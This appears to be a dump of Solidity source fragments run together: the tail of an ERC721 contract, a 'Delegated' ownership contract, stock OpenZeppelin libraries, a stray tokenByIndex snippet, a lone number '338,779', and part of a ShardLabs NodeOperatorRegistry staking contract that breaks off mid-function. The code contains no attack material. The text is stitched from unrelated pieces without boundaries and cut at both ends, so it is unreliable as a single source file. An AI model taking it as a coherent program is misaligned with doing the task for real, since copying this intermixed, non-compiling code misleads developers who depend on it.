(to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint tokenId ) internal virtual {} } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /******************** * @author: Squeebo * ********************/ import "@openzeppelin/contracts/access/Ownable.sol"; contract Delegated is Ownable{ mapping(address => bool) internal _delegates; constructor(){ _delegates[owner()] = true; } modifier onlyDelegates { require(_delegates[msg.sender], "Invalid delegate" ); _; } //onlyOwner function isDelegate( address addr ) external view onlyOwner returns ( bool ){ return _delegates[addr]; } function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{ _delegates[addr] = isDelegate_; } function transferOwnership(address newOwner) public virtual override onlyOwner { _delegates[newOwner] = true; super.transferOwnership( newOwner ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Address.sol"; import "../utils/Context.sol"; import "../utils/math/SafeMath.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
See {IERC721Enumerable-tokenByIndex}./
function tokenByIndex(uint index) public view virtual override returns (uint) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return index + _offset; }
338,779
// SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./interfaces/INodeOperatorRegistry.sol"; import "./interfaces/IValidatorFactory.sol"; import "./interfaces/IValidator.sol"; import "./interfaces/IStMATIC.sol"; /// @title NodeOperatorRegistry /// @author 2021 ShardLabs. /// @notice NodeOperatorRegistry is the main contract that manage validators /// @dev NodeOperatorRegistry is the main contract that manage operators. contract NodeOperatorRegistry is INodeOperatorRegistry, PausableUpgradeable, AccessControlUpgradeable, ReentrancyGuardUpgradeable { enum NodeOperatorStatus { INACTIVE, ACTIVE, STOPPED, UNSTAKED, CLAIMED, EXIT, JAILED, EJECTED } /// @notice The node operator struct /// @param status node operator status(INACTIVE, ACTIVE, STOPPED, CLAIMED, UNSTAKED, EXIT, JAILED, EJECTED). /// @param name node operator name. /// @param rewardAddress Validator public key used for access control and receive rewards. /// @param validatorId validator id of this node operator on the polygon stake manager. /// @param signerPubkey public key used on heimdall. /// @param validatorShare validator share contract used to delegate for on polygon. /// @param validatorProxy the validator proxy, the owner of the validator. /// @param commissionRate the commission rate applied by the operator on polygon. /// @param maxDelegateLimit max delegation limit that StMatic contract will delegate to this operator each time delegate function is called. struct NodeOperator { NodeOperatorStatus status; string name; address rewardAddress; bytes signerPubkey; address validatorShare; address validatorProxy; uint256 validatorId; uint256 commissionRate; uint256 maxDelegateLimit; } /// @notice all the roles. bytes32 public constant REMOVE_OPERATOR_ROLE = keccak256("LIDO_REMOVE_OPERATOR"); bytes32 public constant PAUSE_OPERATOR_ROLE = keccak256("LIDO_PAUSE_OPERATOR"); bytes32 public constant DAO_ROLE = keccak256("LIDO_DAO"); /// @notice contract version. string public version; /// @notice total node operators. uint256 private totalNodeOperators; /// @notice validatorFactory address. address private validatorFactory; /// @notice stakeManager address. address private stakeManager; /// @notice polygonERC20 token (Matic) address. address private polygonERC20; /// @notice stMATIC address. address private stMATIC; /// @notice keeps track of total number of operators uint256 nodeOperatorCounter; /// @notice min amount allowed to stake per validator. uint256 public minAmountStake; /// @notice min HeimdallFees allowed to stake per validator. uint256 public minHeimdallFees; /// @notice commision rate applied to all the operators. uint256 public commissionRate; /// @notice allows restake. bool public allowsRestake; /// @notice default max delgation limit. uint256 public defaultMaxDelegateLimit; /// @notice This stores the operators ids. uint256[] private operatorIds; /// @notice Mapping of all owners with node operator id. Mapping is used to be able to /// extend the struct. mapping(address => uint256) private operatorOwners; /// @notice Mapping of all node operators. Mapping is used to be able to extend the struct. mapping(uint256 => NodeOperator) private operators; /// --------------------------- Modifiers----------------------------------- /// @notice Check if the msg.sender has permission. /// @param _role role needed to call function. modifier userHasRole(bytes32 _role) { checkCondition(hasRole(_role, msg.sender), "unauthorized"); _; } /// @notice Check if the amount is inbound. /// @param _amount amount to stake. modifier checkStakeAmount(uint256 _amount) { checkCondition(_amount >= minAmountStake, "Invalid amount"); _; } /// @notice Check if the heimdall fee is inbound. /// @param _heimdallFee heimdall fee. modifier checkHeimdallFees(uint256 _heimdallFee) { checkCondition(_heimdallFee >= minHeimdallFees, "Invalid fees"); _; } /// @notice Check if the maxDelegateLimit is less or equal to 10 Billion. /// @param _maxDelegateLimit max delegate limit. modifier checkMaxDelegationLimit(uint256 _maxDelegateLimit) { checkCondition( _maxDelegateLimit <= 10000000000 ether, "Max amount <= 10B" ); _; } /// @notice Check if the rewardAddress is already used. /// @param _rewardAddress new reward address. modifier checkIfRewardAddressIsUsed(address _rewardAddress) { checkCondition( operatorOwners[_rewardAddress] == 0 && _rewardAddress != address(0), "Address used" ); _; } /// -------------------------- initialize ---------------------------------- /// @notice Initialize the NodeOperator contract. function initialize( address _validatorFactory, address _stakeManager, address _polygonERC20, address _stMATIC ) external initializer { __Pausable_init(); __AccessControl_init(); __ReentrancyGuard_init(); validatorFactory = _validatorFactory; stakeManager = _stakeManager; polygonERC20 = _polygonERC20; stMATIC = _stMATIC; minAmountStake = 10 * 10**18; minHeimdallFees = 20 * 10**18; defaultMaxDelegateLimit = 10 ether; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(REMOVE_OPERATOR_ROLE, msg.sender); _setupRole(PAUSE_OPERATOR_ROLE, msg.sender); _setupRole(DAO_ROLE, msg.sender); } /// ----------------------------- API -------------------------------------- /// @notice Add a new node operator to the system. /// @dev The operator life cycle starts when we call the addOperator /// func allows adding a new operator. During this call, a new validatorProxy is /// deployed by the ValidatorFactory which we can use later to interact with the /// Polygon StakeManager. At the end of this call, the status of the operator /// will be INACTIVE. /// @param _name the node operator name. /// @param _rewardAddress address used for ACL and receive rewards. /// @param _signerPubkey public key used on heimdall len 64 bytes. function addOperator( string memory _name, address _rewardAddress, bytes memory _signerPubkey ) external override whenNotPaused userHasRole(DAO_ROLE) checkIfRewardAddressIsUsed(_rewardAddress) { nodeOperatorCounter++; address validatorProxy = IValidatorFactory(validatorFactory).create(); operators[nodeOperatorCounter] = NodeOperator({ status: NodeOperatorStatus.INACTIVE, name: _name, rewardAddress: _rewardAddress, validatorId: 0, signerPubkey: _signerPubkey, validatorShare: address(0), validatorProxy: validatorProxy, commissionRate: commissionRate, maxDelegateLimit: defaultMaxDelegateLimit }); operatorIds.push(nodeOperatorCounter); totalNodeOperators++; operatorOwners[_rewardAddress] = nodeOperatorCounter; emit AddOperator(nodeOperatorCounter); } /// @notice Allows to stop an operator from the system. /// @param _operatorId the node operator id. function stopOperator(uint256 _operatorId) external override { (, NodeOperator storage no) = getOperator(_operatorId); require( no.rewardAddress == msg.sender || hasRole(DAO_ROLE, msg.sender), "unauthorized" ); NodeOperatorStatus status = getOperatorStatus(no); checkCondition( status == NodeOperatorStatus.ACTIVE || status == NodeOperatorStatus.INACTIVE || status == NodeOperatorStatus.JAILED , "Invalid status"); if (status == NodeOperatorStatus.INACTIVE) { no.status = NodeOperatorStatus.EXIT; } else { IStMATIC(stMATIC).withdrawTotalDelegated(no.validatorShare); no.status = NodeOperatorStatus.STOPPED; } emit StopOperator(_operatorId); } /// @notice Allows to remove an operator from the system.when the operator status is /// set to EXIT the GOVERNANCE can call the removeOperator func to delete the operator, /// and the validatorProxy used to interact with the Polygon stakeManager. /// @param _operatorId the node operator id. function removeOperator(uint256 _operatorId) external override whenNotPaused userHasRole(REMOVE_OPERATOR_ROLE) { (, NodeOperator storage no) = getOperator(_operatorId); checkCondition(no.status == NodeOperatorStatus.EXIT, "Invalid status"); // update the operatorIds array by removing the operator id. for (uint256 idx = 0; idx < operatorIds.length - 1; idx++) { if (_operatorId == operatorIds[idx]) { operatorIds[idx] = operatorIds[operatorIds.length - 1]; break; } } operatorIds.pop(); totalNodeOperators--; IValidatorFactory(validatorFactory).remove(no.validatorProxy); delete operatorOwners[no.rewardAddress]; delete operators[_operatorId]; emit RemoveOperator(_operatorId); } /// @notice Allows a validator that was already staked on the polygon stake manager /// to join the PoLido protocol. function joinOperator() external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.INACTIVE, "Invalid status" ); IStakeManager sm = IStakeManager(stakeManager); uint256 validatorId = sm.getValidatorId(msg.sender); checkCondition(validatorId != 0, "ValidatorId=0"); IStakeManager.Validator memory poValidator = sm.validators(validatorId); 